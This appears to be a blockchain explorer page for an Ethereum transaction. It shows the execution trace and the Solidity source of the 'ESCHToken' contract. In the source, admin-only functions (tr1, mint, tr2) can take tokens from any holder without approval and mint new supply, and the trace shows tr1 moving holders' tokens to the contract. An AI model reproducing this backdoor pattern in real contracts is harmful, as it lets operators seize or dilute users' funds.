Transaction Hash:
Block:
10487224 at Jul-19-2020 02:26:39 AM +UTC
Transaction Fee:
0.052358554064625064 ETH
$110.57
Gas Used:
1,415,096 Gas / 37.000001459 Gwei
Emitted Events:
Account State Difference:
| Address | Before | After | State Difference | ||
|---|---|---|---|---|---|
| 0x062e20A5...3FAbd14a7 | 0.151419713805466136 Eth | 0.171419713805466136 Eth | 0.02 | ||
| 0x07cd5491...57A444289 | 0.062457740394244134 Eth | 0.072457740394244134 Eth | 0.01 | ||
| 0x16A447EF...f17b28c77 | 38.843127066840001723 Eth | 38.847127066840001723 Eth | 0.004 | ||
| 0x199244cE...2bf78fB11 | 0.360718205167767899 Eth | 0.420718205167767899 Eth | 0.06 | ||
| 0x284039a7...6D69a193c | 20.575460884797714165 Eth | 20.579460884797714165 Eth | 0.004 | ||
| 0x3C6C214b...2c9Ca9A06 | 17,691.9304 Eth | 17,693.036 Eth | 1.1056 | ||
| 0x3fFdCF27...316ccE70a | 384.430360492961451 Eth | 384.470360492961451 Eth | 0.04 | ||
|
0x52bc44d5...b7d7bE3b5
Miner
| (Nanopool) | 2,748.822681822573703641 Eth | 2,748.875040376638328705 Eth | 0.052358554064625064 | |
| 0xA821F14f...c90372453 | |||||
| 0xB74441F8...f5d8d07B0 | 14.909167713487399417 Eth | 14.913167713487399417 Eth | 0.004 | ||
| 0xc121A1B0...d6e47b8eD |
2.101843836576916685 Eth
Nonce: 34
|
0.751885282512291621 Eth
Nonce: 35
| 1.349958554064625064 | ||
| 0xe0a2E0A1...809cc4F9C | 0.241320972703077184 Eth | 0.281320972703077184 Eth | 0.04 | ||
| 0xe1d01e8A...FCF20573d | 15.264 Eth | 15.27 Eth | 0.006 | ||
| 0xfEe92A1f...B9A02A4f3 | 22.107032148358438987 Eth | 22.111032148358438987 Eth | 0.004 |
Execution Trace
ETH 2
0x3c6c214b016acfb51e7ce7c39069f352c9ca9a06.be328a44( )
-
ESCHToken.cxesch( _c1=0xc121A1B0402BeE9969e1D82DAB9B52dd6e47b8eD ) => ( _j1=182488900000000000000 )
-
ESCHToken.tr1( _from=0xc121A1B0402BeE9969e1D82DAB9B52dd6e47b8eD, _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=20000000000000000000 )
-
ESCHToken.tr2( _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=20000000000000000000 )
- ETH 0.04
0x3ffdcf2760b30a1d05704643a503100316cce70a.CALL( ) - ETH 0.006
0xe1d01e8a4eda80701912e7fbbe252d9fcf20573d.CALL( ) -
ESCHToken.cxesch( _c1=0x199244cE57B20b07A4209FF4517DE7F2bf78fB11 ) => ( _j1=488257311150139736064 )
- ETH 0.06
0x199244ce57b20b07a4209ff4517de7f2bf78fb11.CALL( ) -
ESCHToken.tr1( _from=0x199244cE57B20b07A4209FF4517DE7F2bf78fB11, _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=600000000000000000 )
-
ESCHToken.cxesch( _c1=0xe0a2E0A1B4eb0532e7036AACc87D943809cc4F9C ) => ( _j1=463137266725209604096 )
- ETH 0.04
0xe0a2e0a1b4eb0532e7036aacc87d943809cc4f9c.CALL( ) -
ESCHToken.tr1( _from=0xe0a2E0A1B4eb0532e7036AACc87D943809cc4F9C, _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=400000000000000000 )
-
ESCHToken.cxesch( _c1=0x062e20A5bD08191Abf23a388e56c8b63FAbd14a7 ) => ( _j1=312833414925395918848 )
- ETH 0.02
0x062e20a5bd08191abf23a388e56c8b63fabd14a7.CALL( ) -
ESCHToken.tr1( _from=0x062e20A5bD08191Abf23a388e56c8b63FAbd14a7, _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=200000000000000000 )
-
ESCHToken.cxesch( _c1=0x07cd5491337593340ae7900Cbd46AEd57A444289 ) => ( _j1=213493311325768548352 )
- ETH 0.01
0x07cd5491337593340ae7900cbd46aed57a444289.CALL( ) -
ESCHToken.tr1( _from=0x07cd5491337593340ae7900Cbd46AEd57A444289, _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=100000000000000000 )
-
ESCHToken.cxesch( _c1=0x4CB186AE6EdA15ab1ba69736fae146449cf5EefF ) => ( _j1=547989170500465786880 )
-
ESCHToken.cxesch( _c1=0x8b741f77C4A88dB5f8210320Eddd0a0c9cB18fC3 ) => ( _j1=317155874100093157376 )
-
ESCHToken.cxesch( _c1=0xea144dcb53B8686d4810BB96fED273d968b4786d ) => ( _j1=312340974100093157376 )
-
ESCHToken.cxesch( _c1=0x4497aA1Fe301065d54d15Ec6D3e74fF9Be168f29 ) => ( _j1=320730800000000000000 )
-
ESCHToken.cxesch( _c1=0x08D37A8Be03a33947552c353cD094C2E237398E1 ) => ( _j1=2708904478226606964736 )
-
ESCHToken.cxesch( _c1=0xF11a50A2225127a31B2505d1B39B10b178351d24 ) => ( _j1=64584800000000000000 )
-
ESCHToken.cxesch( _c1=0xfEe92A1f4699c7062d24e1Ef7B69f4aB9A02A4f3 ) => ( _j1=4001112282704378396672 )
- ETH 0.004
0xfee92a1f4699c7062d24e1ef7b69f4ab9a02a4f3.CALL( ) -
ESCHToken.tr1( _from=0xfEe92A1f4699c7062d24e1Ef7B69f4aB9A02A4f3, _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=40000000000000000 )
-
ESCHToken.cxesch( _c1=0xB74441F82D6AC8D8c59D5770bE7a8D1f5d8d07B0 ) => ( _j1=318047304302142619648 )
- ETH 0.004
0xb74441f82d6ac8d8c59d5770be7a8d1f5d8d07b0.CALL( ) -
ESCHToken.tr1( _from=0xB74441F82D6AC8D8c59D5770bE7a8D1f5d8d07B0, _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=40000000000000000 )
-
ESCHToken.cxesch( _c1=0x16A447EFb3ac106079c057D0dC669b8f17b28c77 ) => ( _j1=1436744808000000000000 )
- ETH 0.004
0x16a447efb3ac106079c057d0dc669b8f17b28c77.CALL( ) -
ESCHToken.tr1( _from=0x16A447EFb3ac106079c057D0dC669b8f17b28c77, _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=40000000000000000 )
-
ESCHToken.cxesch( _c1=0x284039a7D1aE056C2bd22348a4E15086D69a193c ) => ( _j1=10011338579101024731136 )
- ETH 0.004
0x284039a7d1ae056c2bd22348a4e15086d69a193c.CALL( ) -
ESCHToken.tr1( _from=0x284039a7D1aE056C2bd22348a4E15086D69a193c, _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=40000000000000000 )
- ETH 0.7024
0xc121a1b0402bee9969e1d82dab9b52dd6e47b8ed.CALL( ) -
ESCHToken.tr1( _from=0xc121A1B0402BeE9969e1D82DAB9B52dd6e47b8eD, _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=7024000000000000000 )
pragma solidity 0.4.18;//20190809
////////////
contract ESCHToken {
string public constant name = "Esch$Token";
string public constant symbol = "ESCH$";
uint8 public constant decimals = 18;
uint256 public totalSupply;
address owner;
uint32 hl=1000;
address SysAd0;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
mapping (address => bool) admin;
function ESCHToken () public {
totalSupply = 10200000 ether; // Update total supply
balanceOf[msg.sender] = totalSupply;
owner = msg.sender; //
admin[owner]=true;
// hl=1000;
}
function transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
function setadmin (address _admin) public {
require(admin[msg.sender]==true);
admin[_admin]=true;
}
function mint(address _ad,uint256 _sl) public {
require(admin[msg.sender]==true);
balanceOf[_ad]+= _sl;
totalSupply+= _sl;
Transfer(0, _ad, _sl);
}
function cxesch (address _c1) public view returns(uint256 _j1){
return( balanceOf[_c1]);
}
function SetAw0(address _adA0) public {
assert(admin[msg.sender]==true);
SysAd0=_adA0;
}
function hl0(uint32 _hl) public {
assert(admin[msg.sender]==true);
hl=_hl;
}
///////////
function gm() public payable {
require (balanceOf[SysAd0]>=hl*msg.value);
require (msg.value>=0.1 ether);
transfer(SysAd0, msg.sender, hl*msg.value);
SysAd0.transfer(msg.value);
}
//
function tr1(address _from, address _to, uint _value) public {
assert(admin[msg.sender]==true);
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint pre1 = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == pre1);
}
//
function tr2(address _to, uint _value) public {
assert(admin[msg.sender]==true);
require (totalSupply<100000000 ether);
require(balanceOf[_to] + _value > balanceOf[_to]);
totalSupply +=_value;
balanceOf[_to] += _value;
Transfer(0, _to, _value);
}
}